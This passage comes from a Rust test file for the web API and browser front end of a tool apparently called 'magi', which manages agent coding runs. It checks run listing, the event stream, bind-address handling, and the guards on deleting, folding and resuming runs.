6632 attempt.is_ok(),
6633 "and the address must be free by the time it is: {attempt:?}"
6634 );
6635 }
6636
6637 #[tokio::test]
6638 async fn a_newer_daemon_status_file_still_renders() {
6639 let f = Fixture::start().await;
6640 std::fs::write(
6643 f.home.path().join("daemon.json"),
6644 serde_json::json!({
6645 "schema": 2,
6646 "updated_at": Timestamp::now().to_string(),
6647 "idle": true,
6648 "surprise": { "nested": [1, 2, 3] },
6649 })
6650 .to_string(),
6651 )
6652 .expect("write daemon.json");
6653
6654 let health = f.get("/api/health").await;
6655
6656 assert_eq!(health.status, 200);
6657 assert_eq!(health.json()["daemon"]["running"], true);
6658 }
6659
6660 #[tokio::test]
6661 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
6662 let f = Fixture::start().await;
6663 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
6664 let broken = f.runs().join("20260902-140502-bad");
6665 std::fs::create_dir_all(&broken).expect("run dir");
6666 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
6667
6668 let list = f.get("/api/runs").await;
6669 let detail = f.get("/api/runs/20260902-140502-bad").await;
6670
6671 assert_eq!(list.status, 200);
6672 let listed = list.json();
6673 let ids: Vec<&str> = listed
6674 .as_array()
6675 .expect("an array")
6676 .iter()
6677 .map(|r| r["id"].as_str().expect("an id"))
6678 .collect();
6679 assert_eq!(
6680 ids,
6681 vec!["20260902-140501-good"],
6682 "one unreadable run must not cost the operator the whole history"
6683 );
6684 assert_eq!(detail.status, 500);
6685 assert!(
6686 detail.json()["error"]
6687 .as_str()
6688 .is_some_and(|e| e.contains("run.json")),
6689 "the failure names the file to look at: {}",
6690 detail.body
6691 );
6692 let health = f.get("/api/health").await;
6696 assert_eq!(health.json()["runs_unreadable"], 1);
6697 }
6698
6699 #[tokio::test]
6700 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
6701 let f = Fixture::start().await;
6702 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
6703
6704 let summary = f.get("/api/runs").await.json();
6705 let row = &summary[0];
6706 assert_eq!(row["short"], "a1b2");
6707 assert_eq!(row["status"], "ready");
6708 assert_eq!(row["done"], true);
6709 assert_eq!(row["title"], "Add a web UI");
6710 assert_eq!(row["repo_name"], "magi");
6711 assert_eq!(row["judges"], 3);
6712 assert_eq!(row["winner"], Value::Null);
6713 assert_eq!(row["reviews"], 0);
6714
6715 let detail = f.get("/api/runs/a1b2").await;
6718 assert_eq!(detail.status, 200);
6719 assert_eq!(detail.json()["base_branch"], "main");
6720 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
6721 }
6722
6723 #[tokio::test]
6731 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
6732 let f = Fixture::start().await;
6733
6734 let mut none_run = RunState::new(
6735 PathBuf::from("/repo/magi"),
6736 "main".to_owned(),
6737 "0123456789abcdef".to_owned(),
6738 "Add a web UI".to_owned(),
6739 Config::default(),
6740 );
6741 none_run.id = "20260902-140503-none".to_owned();
6742 none_run.status = RunStatus::Ready;
6743 none_run.merge = Some(crate::run::MergeOutcome {
6744 mode: crate::config::MergeMode::None,
6745 ok: true,
6746 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
6747 });
6748 write_state(&f.runs(), &none_run);
6749
6750 let mut pr_run = RunState::new(
6751 PathBuf::from("/repo/magi"),
6752 "main".to_owned(),
6753 "0123456789abcdef".to_owned(),
6754 "Add a web UI".to_owned(),
6755 Config::default(),
6756 );
6757 pr_run.id = "20260902-140504-prcl".to_owned();
6758 pr_run.status = RunStatus::Ready;
6759 pr_run.merge = Some(crate::run::MergeOutcome {
6760 mode: crate::config::MergeMode::Pr,
6761 ok: false,
6762 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
6763 });
6764 write_state(&f.runs(), &pr_run);
6765
6766 let summary = f.get("/api/runs").await.json();
6767 let rows: std::collections::HashMap<&str, &Value> = summary
6768 .as_array()
6769 .expect("an array")
6770 .iter()
6771 .map(|r| (r["id"].as_str().expect("an id"), r))
6772 .collect();
6773 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
6774 assert_eq!(
6775 rows[none_run.id.as_str()]["unmerged_by_design"],
6776 true,
6777 "a mode-none Ready must be flagged in the list"
6778 );
6779 assert_eq!(
6780 rows[pr_run.id.as_str()]["unmerged_by_design"],
6781 false,
6782 "a Ready reached by a closed pull request is a different case"
6783 );
6784
6785 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
6786 assert_eq!(none_detail["status"], "ready");
6787 assert_eq!(none_detail["unmerged_by_design"], true);
6788
6789 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
6790 assert_eq!(pr_detail["unmerged_by_design"], false);
6791 }
6792
6793 #[tokio::test]
6798 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
6799 let f = Fixture::start().await;
6800 let id = "20260902-140502-bbbb";
6804 let mut state = RunState::new(
6805 PathBuf::from("/repo/magi"),
6806 "main".to_owned(),
6807 "0123456789abcdef".to_owned(),
6808 "Add a web UI".to_owned(),
6809 Config::default(),
6810 );
6811 state.id = id.to_owned();
6812 state.status = RunStatus::Judging;
6813 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
6814 let dir = f.runs().join(id);
6815 std::fs::create_dir_all(&dir).expect("run dir");
6816 std::fs::write(
6817 dir.join("run.json"),
6818 serde_json::to_string_pretty(&state).expect("serialize run"),
6819 )
6820 .expect("write run.json");
6821
6822 let cold = f.get(&format!("/api/runs/{id}")).await.json();
6825 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
6826 assert_eq!(cold["live"], false, "{cold}");
6827
6828 write_daemon(f.home.path(), Timestamp::now());
6831 let warm = f.get(&format!("/api/runs/{id}")).await.json();
6832 assert_eq!(warm["live"], true, "{warm}");
6833 }
6834
6835 #[tokio::test]
6836 async fn the_run_list_is_newest_first_and_honours_a_limit() {
6837 let f = Fixture::start().await;
6838 for id in [
6839 "20260902-140501-aaaa",
6840 "20260902-140502-bbbb",
6841 "20260902-140503-cccc",
6842 ] {
6843 write_run(&f.runs(), id, RunStatus::Merged);
6844 }
6845
6846 let all = f.get("/api/runs").await.json();
6847 let capped = f.get("/api/runs?limit=2").await.json();
6848
6849 assert_eq!(all[0]["id"], "20260902-140503-cccc");
6850 assert_eq!(all.as_array().map(Vec::len), Some(3));
6851 assert_eq!(capped.as_array().map(Vec::len), Some(2));
6852 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
6853 }
6854
6855 #[tokio::test]
6856 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
6857 let f = Fixture::start().await;
6858 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
6859
6860 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
6861
6862 assert_eq!(res.status, 200);
6863 assert!(
6864 res.headers
6865 .contains("content-type: text/plain; charset=utf-8"),
6866 "a browser must render it, not download it: {}",
6867 res.headers
6868 );
6869 assert!(
6873 res.body.contains("20260902-140501-a1b2"),
6874 "the report is about the run that was asked for: {}",
6875 res.body
6876 );
6877 }
6878
6879 #[tokio::test]
6880 async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
6881 let f = Fixture::start().await;
6882
6883 let html = f.get("/").await;
6884 let css = f.get("/app.css").await;
6885 let js = f.get("/app.js").await;
6886
6887 assert_eq!((html.status, css.status, js.status), (200, 200, 200));
6888 assert!(
6889 html.headers
6890 .contains("content-type: text/html; charset=utf-8")
6891 );
6892 assert!(css.headers.contains("content-type: text/css"));
6893 assert!(js.headers.contains("content-type: text/javascript"));
6894 assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
6895 }
6896
6897 #[test]
6898 fn review_rounds_label_a_distinct_verified_head() {
6899 assert!(APP_JS.contains("round.verified_head"));
6900 assert!(APP_JS.contains("verified HEAD"));
6901 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
6902 }
6903
6904 #[tokio::test]
6905 async fn the_change_stream_announces_the_current_revisions_on_connect() {
6906 let f = Fixture::start().await;
6907
6908 let mut socket = tokio::net::TcpStream::connect(f.addr)
6909 .await
6910 .expect("connect");
6911 socket
6912 .write_all(
6913 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
6914 )
6915 .await
6916 .expect("write request");
6917
6918 let mut seen = String::new();
6921 let mut buf = [0u8; 1024];
6922 while !seen.contains("event: change") {
6923 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
6924 .await
6925 .expect("the stream must speak within five seconds")
6926 .expect("read");
6927 assert!(read > 0, "the server closed the change stream: {seen}");
6928 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
6929 }
6930
6931 assert!(
6932 seen.to_lowercase()
6933 .contains("content-type: text/event-stream"),
6934 "the browser only reconnects automatically for a real SSE stream: {seen}"
6935 );
6936 let data = seen
6937 .lines()
6938 .find_map(|l| l.strip_prefix("data:"))
6939 .expect("a data line");
6940 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
6941 assert!(
6942 payload["queue_rev"].is_u64()
6943 && payload["runs_rev"].is_u64()
6944 && payload["questions_rev"].is_u64()
6945 && payload["talks_rev"].is_u64()
6946 && payload["loop_rev"].is_u64(),
6947 "the client needs one revision per store to know what to refetch, \
6948 and `talks_rev` is the only notification a standing talk gets - a \
6949 phone whose radio slept through a turn learns about it here, as \
6950 does one whose operator started the loop from another device: \
6951 {payload}"
6952 );
6953
6954 let health = f.get("/api/health").await.json();
6961 for key in [
6962 "queue_rev",
6963 "runs_rev",
6964 "questions_rev",
6965 "talks_rev",
6966 "loop_rev",
6967 ] {
6968 assert!(
6969 health[key].is_u64(),
6970 "health is the change stream's fallback and is missing `{key}`: {health}"
6971 );
6972 }
6973 }
6974
6975 #[tokio::test]
6976 async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
6977 let f = Fixture::start().await;
6978 let before = f.get("/api/health").await.json()["talks_rev"]
6979 .as_u64()
6980 .expect("talks_rev");
6981
6982 let talk = seed_talk(&f, "20260904-014455-ab12", "open");
6983 std::thread::sleep(Duration::from_millis(10));
6984 let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
6985 on_disk.turns.push(crate::talk::Turn {
6986 who: crate::talk::Who::Operator,
6987 body: "a new turn".to_owned(),
6988 at: Timestamp::now(),
6989 attachments: Vec::new(),
6990 });
6991 f.talks().put(&mut on_disk).expect("record a turn");
6992
6993 let after = f.get("/api/health").await.json()["talks_rev"]
6994 .as_u64()
6995 .expect("talks_rev");
6996 assert_ne!(
6997 before, after,
6998 "a phone must be able to notice a talk's reply without polling every store"
6999 );
7000 }
7001
7002 #[test]
7003 fn bind_reads_back_from_the_spelling_the_cli_prints() {
7004 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
7008 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
7009 }
7010 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
7011 assert!("everywhere".parse::<Bind>().is_err());
7012 }
7013
7014 #[test]
7015 fn an_explicit_bind_address_is_taken_verbatim() {
7016 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
7017
7018 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
7019
7020 assert_eq!(addr, asked);
7021 assert!(
7022 warning.is_none(),
7023 "an operator who named an address gets no lecture"
7024 );
7025 }
7026
7027 #[test]
7028 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
7029 let (addr, warning) = resolve_bind(&Bind::Auto);
7030
7031 match addr {
7038 IpAddr::V4(ip) if is_tailnet(&ip) => {
7039 assert!(warning.is_none(), "a tailnet address needs no warning");
7040 }
7041 other => {
7042 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
7043 let warning = warning.expect("a fallback has to explain itself");
7044 assert!(
7045 warning.contains("127.0.0.1") && warning.contains("local-only"),
7046 "the warning says what happened and what it costs: {warning}"
7047 );
7048 }
7049 }
7050 }
7051
7052 #[test]
7053 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
7054 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
7058 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
7059 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
7060 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
7061 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
7062 }
7063
7064 #[test]
7065 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
7066 let ids = vec![
7067 "20260902-140501-aaaa".to_owned(),
7068 "20260902-140502-aabb".to_owned(),
7069 ];
7070
7071 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
7072 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
7073 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
7074
7075 assert_eq!(missing.status, StatusCode::NOT_FOUND);
7076 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
7077 assert_eq!(short, "20260902-140502-aabb");
7078 }
7079 #[tokio::test]
7080 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
7081 let fx = Fixture::start().await;
7087 let id = panel(
7088 &fx,
7089 "<img src=\"shot.png\">",
7090 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
7091 );
7092
7093 let doc = fx
7095 .get(&format!("/api/questions/{id}/panel/index.html"))
7096 .await;
7097 assert_eq!(doc.status, 200, "{}", doc.body);
7098 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
7099
7100 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
7101 assert_eq!(sibling.status, 200, "{}", sibling.body);
7102 assert_eq!(sibling.header("content-type"), Some("image/png"));
7103 assert_eq!(
7104 sibling.header("content-security-policy"),
7105 Some(PANEL_CSP),
7106 "the sibling route must carry the same policy as the asset route"
7107 );
7108
7109 assert_eq!(
7112 fx.head(&format!("/api/questions/{id}/panel")).await.status,
7113 200
7114 );
7115 }
7116
7117 #[test]
7118 fn runs_revision_moves_when_deleting_an_older_run() {
7119 let temp = TempDir::new().expect("tempdir");
7120 let runs = temp.path().join("runs");
7121 std::fs::create_dir_all(&runs).expect("create runs dir");
7122
7123 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
7124
7125 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
7126 std::thread::sleep(Duration::from_millis(10));
7127 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
7128
7129 let rev_before = runs_revision(&runs);
7130 assert!(rev_before > 0);
7131
7132 let old_dir = runs.join("20260901-100000-old1");
7133 std::fs::remove_dir_all(&old_dir).expect("remove old run");
7134
7135 let rev_after = runs_revision(&runs);
7136 assert_ne!(
7137 rev_before, rev_after,
7138 "deleting an older run must change the revision so other clients see the deletion"
7139 );
7140 }
7141
7142 fn write_state(runs: &FsPath, state: &RunState) {
7147 let dir = runs.join(&state.id);
7148 std::fs::create_dir_all(&dir).expect("run dir");
7149 std::fs::write(
7150 dir.join("run.json"),
7151 serde_json::to_string_pretty(state).expect("serialize run"),
7152 )
7153 .expect("write run.json");
7154 }
7155
7156 #[test]
7161 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
7162 let temp = TempDir::new().expect("tempdir");
7163 let runs = temp.path().join("runs");
7164 std::fs::create_dir_all(&runs).expect("create runs dir");
7165 let mut state = RunState::new(
7166 PathBuf::from("/repo/magi"),
7167 "main".to_owned(),
7168 "0123456789abcdef".to_owned(),
7169 "task".to_owned(),
7170 Config::default(),
7171 );
7172 state.id = "20260902-100000-c0de".to_owned();
7173 write_state(&runs, &state);
7174
7175 let rev_idle = runs_revision(&runs);
7176 std::thread::sleep(Duration::from_millis(10));
7177 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
7178 write_state(&runs, &state);
7179 let rev_started = runs_revision(&runs);
7180 assert_ne!(
7181 rev_idle, rev_started,
7182 "a seat starting must move the revision"
7183 );
7184
7185 std::thread::sleep(Duration::from_millis(10));
7186 state.seat_finished("judge-1");
7187 write_state(&runs, &state);
7188 let rev_finished = runs_revision(&runs);
7189 assert_ne!(
7190 rev_started, rev_finished,
7191 "and clearing it again must move the revision a second time"
7192 );
7193 }
7194
7195 #[tokio::test]
7196 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
7197 let fx = Fixture::start().await;
7198 let q = fx.queue();
7199
7200 let mut t1 = Task::new(
7202 "Task 1".to_owned(),
7203 "Instruction 1".to_owned(),
7204 PathBuf::from("/repo"),
7205 Source::Human,
7206 );
7207 let run_id = "20260901-000000-r111";
7208 t1.runs.push(run_id.to_owned());
7209 write_run(&fx.runs(), run_id, RunStatus::Merged);
7210 q.put(&mut t1).expect("put t1");
7211
7212 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
7214 assert_eq!(res.status, 204);
7215 assert!(res.body.is_empty(), "204 No Content has no body");
7216 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
7217 assert!(
7218 fx.runs().join(run_id).exists(),
7219 "run directory must not be deleted when its task is deleted"
7220 );
7221
7222 let mut t2 = Task::new(
7224 "Task 2".to_owned(),
7225 "Instruction 2".to_owned(),
7226 PathBuf::from("/repo"),
7227 Source::Human,
7228 );
7229 t2.status = TaskStatus::Running;
7230 q.put(&mut t2).expect("put t2");
7231 let mut beat = crate::daemon::Status::new();
7232 beat.current = vec![crate::daemon::Current {
7233 task: t2.id.clone(),
7234 run: "20260901-000000-r222".to_owned(),
7235 }];
7236 beat.updated_at = jiff::Timestamp::now();
7237 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7238 .expect("publish a heartbeat");
7239 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
7240 assert_eq!(res.status, 409);
7241 assert!(
7242 res.json()["error"]
7243 .as_str()
7244 .unwrap()
7245 .contains("live daemon")
7246 );
7247 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
7248
7249 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
7255 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7256 .expect("leave a stale heartbeat");
7257 let mut t3 = Task::new(
7258 "Task 3".to_owned(),
7259 "Instruction 3".to_owned(),
7260 PathBuf::from("/repo"),
7261 Source::Human,
7262 );
7263 t3.status = TaskStatus::Running;
7264 q.put(&mut t3).expect("put t3");
7265 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
7266 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
7267 assert_eq!(res.status, 204);
7268 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
7269 assert!(
7270 q.claim(&t3.id).is_ok(),
7271 "the stale lock went with it, so the id is claimable again"
7272 );
7273
7274 let res = fx.delete("/api/queue/nonexistent").await;
7276 assert_eq!(res.status, 404);
7277 }
7278
7279 #[tokio::test]
7280 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
7281 let fx = Fixture::start().await;
7282 let runs = fx.runs();
7283
7284 let run_id = "20260901-000000-fold";
7286 let mut state = RunState::new(
7287 PathBuf::from("/repo"),
7288 "main".to_owned(),
7289 "abc".to_owned(),
7290 "instruction".to_owned(),
7291 Config::default(),
7292 );
7293 state.id = run_id.to_owned();
7294 state.status = RunStatus::Merged;
7295 state.candidates.push(crate::run::Candidate {
7296 index: 0,
7297 label: 'A',
7298 agent: "a".to_owned(),
7299 branch: "b".to_owned(),
7300 worktree: PathBuf::from("/w"),
7301 summary: String::new(),
7302 stat: String::new(),
7303 files: 1,
7304 commits: 1,
7305 empty: false,
7306 failed: None,
7307 duration_ms: 0,
7308 folded: true,
7309 });
7310 let dir = runs.join(run_id);
7311 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
7312 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
7313 .expect("write artifact");
7314 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
7315 .expect("write run.json");
7316
7317 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
7319 assert_eq!(res.status, 204);
7320 assert!(res.body.is_empty(), "204 has no body");
7321 assert!(!dir.exists(), "run directory and artifacts must be deleted");
7322
7323 let run_running = "20260901-000000-rung";
7328 write_run(&runs, run_running, RunStatus::Prep);
7329 let mut beat = crate::daemon::Status::new();
7330 beat.current = vec![crate::daemon::Current {
7331 task: "20260901-000000-task".to_owned(),
7332 run: run_running.to_owned(),
7333 }];
7334 beat.updated_at = jiff::Timestamp::now();
7335 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7336 .expect("publish a heartbeat");
7337 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
7338 assert_eq!(res.status, 409);
7339 assert!(
7340 res.json()["error"]
7341 .as_str()
7342 .unwrap()
7343 .contains("live daemon"),
7344 "the refusal must say who is holding it"
7345 );
7346 assert!(
7347 runs.join(run_running).exists(),
7348 "a run in flight keeps its directory"
7349 );
7350
7351 let run_unfolded = "20260901-000000-unfd";
7353 let mut state2 = RunState::new(
7354 PathBuf::from("/repo"),
7355 "main".to_owned(),
7356 "abc".to_owned(),
7357 "instruction".to_owned(),
7358 Config::default(),
7359 );
7360 state2.id = run_unfolded.to_owned();
7361 state2.status = RunStatus::Ready;
7362 state2.candidates.push(crate::run::Candidate {
7363 index: 0,
7364 label: 'A',
7365 agent: "a".to_owned(),
7366 branch: "b".to_owned(),
7367 worktree: PathBuf::from("/w"),
7368 summary: String::new(),
7369 stat: String::new(),
7370 files: 1,
7371 commits: 1,
7372 empty: false,
7373 failed: None,
7374 duration_ms: 0,
7375 folded: false,
7376 });
7377 let dir2 = runs.join(run_unfolded);
7378 std::fs::create_dir_all(&dir2).expect("create dir2");
7379 std::fs::write(
7380 dir2.join("run.json"),
7381 serde_json::to_string(&state2).unwrap(),
7382 )
7383 .expect("write run.json");
7384
7385 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7386 assert_eq!(res.status, 409);
7387 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7388 assert!(dir2.exists(), "unfolded run directory is kept");
7389
7390 let res = fx.delete("/api/runs/nonexistent").await;
7392 assert_eq!(res.status, 404);
7393 }
7394
7395 #[test]
7396 fn web_ui_delete_contract_in_front_end() {
7397 assert!(APP_JS.contains("deleteRun:"));
7399 assert!(APP_JS.contains("deleteTask:"));
7400
7401 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7403 ..APP_JS.find("function renderRuns").unwrap()];
7404 assert!(!run_cards_slice.to_lowercase().contains("delete"));
7405
7406 assert!(APP_JS.contains("renderRunDelete"));
7408 assert!(APP_JS.contains("runDeleteReason"));
7409 assert!(APP_JS.contains("magi fold"));
7410 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7411
7412 assert!(APP_JS.contains("cancel.focus"));
7414 assert!(APP_JS.contains("armedRunDelete"));
7415 assert!(APP_JS.contains("armedDelete"));
7416
7417 assert!(APP_JS.contains("disabled: status === \"running\""));
7419 }
7420
7421 #[test]
7441 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7442 let build = APP_JS
7443 .find("function createRunCard")
7444 .expect("createRunCard exists");
7445 let update = APP_JS
7446 .find("function updateRunCard")
7447 .expect("updateRunCard exists");
7448 let end = APP_JS
7449 .find("function renderRuns")
7450 .expect("renderRuns exists");
7451
7452 let builder = &APP_JS[build..update];
7454 let open = builder.find("refs = {").expect("createRunCard sets refs");
7455 let literal = &builder[open + "refs = {".len()..];
7456 let close = literal.find('}').expect("the refs literal is closed");
7457 let published: HashSet<&str> = literal[..close]
7458 .split(',')
7459 .filter_map(|entry| entry.split(':').next())
7461 .map(str::trim)
7462 .filter(|name| !name.is_empty())
7463 .collect();
7464 assert!(
7465 published.len() > 5,
7466 "the refs literal did not parse into names: {published:?}"
7467 );
7468
7469 let mut used: Vec<&str> = Vec::new();
7472 let updaters = &APP_JS[update..end];
7473 for (at, _) in updaters.match_indices("r.") {
7474 let before = updaters[..at].chars().next_back();
7477 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7478 continue;
7479 }
7480 let rest = &updaters[at + 2..];
7481 let len = rest
7482 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7483 .unwrap_or(rest.len());
7484 if len > 0 {
7485 used.push(&rest[..len]);
7486 }
7487 }
7488 assert!(
7489 used.len() > 5,
7490 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7491 );
7492
7493 let missing: Vec<&str> = used
7494 .iter()
7495 .copied()
7496 .filter(|name| !published.contains(name))
7497 .collect();
7498 assert!(
7499 missing.is_empty(),
7500 "a run card's updater reaches for {missing:?}, which `createRunCard` \
7501 never put in `refs` - every card will throw and the list will \
7502 render empty under a count line that says otherwise. Published: \
7503 {published:?}"
7504 );
7505 }
7506
7507 #[tokio::test]
7508 async fn folding_from_the_phone_reports_what_it_removed() {
7509 let fx = Fixture::start().await;
7510 let runs = fx.runs();
7511
7512 let id = "20260901-000000-fold";
7516 write_run(&runs, id, RunStatus::Stalled);
7517 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7518 assert_eq!(res.status, 200);
7519 assert_eq!(res.json()["removed_count"], 0);
7520 assert_eq!(res.json()["run"], id);
7521 assert!(
7522 runs.join(id).exists(),
7523 "a fold keeps the run's record; only the worktrees go"
7524 );
7525 }
7526
7527 #[tokio::test]
7528 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7529 let fx = Fixture::start().await;
7530 let runs = fx.runs();
7531 let wt = fx.home.path().join("wt").join("magi").join("dead");
7532 let id = "20260901-000000-dead";
7533 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7534 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7535 std::fs::create_dir_all(&wt).expect("worktree dir");
7536
7537 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7538 assert_eq!(res.status, 200, "{}", res.body);
7539 assert!(
7540 res.json()["removed_count"].as_u64().unwrap() > 0,
7541 "the worktree this build could not read a state for still went"
7542 );
7543 assert!(
7544 !runs.join(id).exists(),
7545 "an unreadable run has no candidate list to fold selectively, so \
7546 the whole record goes - same as `magi fold` on the CLI"
7547 );
7548 }
7549
7550 #[tokio::test]
7551 async fn deleting_an_unreadable_run_removes_it_wholesale() {
7552 let fx = Fixture::start().await;
7553 let runs = fx.runs();
7554 let wt = fx.home.path().join("wt").join("magi").join("gone");
7555 let id = "20260901-000000-gone";
7556 std::fs::create_dir_all(runs.join(id)).expect("run dir");
7557 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7558 std::fs::create_dir_all(&wt).expect("worktree dir");
7559
7560 let res = fx.delete(&format!("/api/runs/{id}")).await;
7561 assert_eq!(res.status, 204, "{}", res.body);
7562 assert!(!runs.join(id).exists(), "the broken record is gone");
7563 assert!(!wt.exists(), "its worktree is gone too");
7564 }
7565
7566 #[tokio::test]
7567 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
7568 let fx = Fixture::start().await;
7569 let runs = fx.runs();
7570 let id = "20260901-000000-live";
7571 write_run(&runs, id, RunStatus::Implementing);
7572
7573 let mut beat = crate::daemon::Status::new();
7574 beat.current = vec![crate::daemon::Current {
7575 task: "20260901-000000-task".to_owned(),
7576 run: id.to_owned(),
7577 }];
7578 beat.updated_at = jiff::Timestamp::now();
7579 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7580 .expect("publish a heartbeat");
7581
7582 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7583 assert_eq!(res.status, 409);
7584 assert!(
7585 res.json()["error"]
7586 .as_str()
7587 .unwrap()
7588 .contains("live daemon"),
7589 "folding under a running agent would pull its worktree away"
7590 );
7591 }
7592
7593 #[tokio::test]
7594 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
7595 let fx = Fixture::start().await;
7596 let runs = fx.runs();
7597
7598 for (status, word) in [
7604 (RunStatus::Merged, "merged"),
7605 (RunStatus::Ready, "ready"),
7606 (RunStatus::Failed, "failed"),
7607 ] {
7608 let id = format!("20260901-000000-{}", &word[..4]);
7609 write_run(&runs, &id, status);
7610 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
7611 assert_eq!(res.status, 409, "{word} must not be resumable");
7612 let err = res.json()["error"].as_str().unwrap().to_owned();
7613 assert!(err.contains(word), "the refusal names the status: {err}");
7614 }
7615
7616 let mid = "20260901-000000-midf";
7621 write_run(&runs, mid, RunStatus::Reviewing);
7622 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
7623 assert_eq!(res.status, 202, "an interrupted run is resumable");
7624 }
7625
7626 #[tokio::test]
7627 async fn resume_is_refused_while_the_loop_is_running() {
7628 let fx = Fixture::start().await;
7629 let runs = fx.runs();
7630 let stalled = "20260901-000000-stal";
7631 write_run(&runs, stalled, RunStatus::Stalled);
7632
7633 let mut beat = crate::daemon::Status::new();
7637 beat.current = vec![crate::daemon::Current {
7638 task: "20260901-000000-task".to_owned(),
7639 run: "20260901-000000-othr".to_owned(),
7640 }];
7641 beat.updated_at = jiff::Timestamp::now();
7642 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
7643 .expect("publish a heartbeat");
7644
7645 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
7646 assert_eq!(res.status, 409);
7647 let err = res.json()["error"].as_str().unwrap().to_owned();
7648 assert!(err.contains("othr"), "it names what the loop is on: {err}");
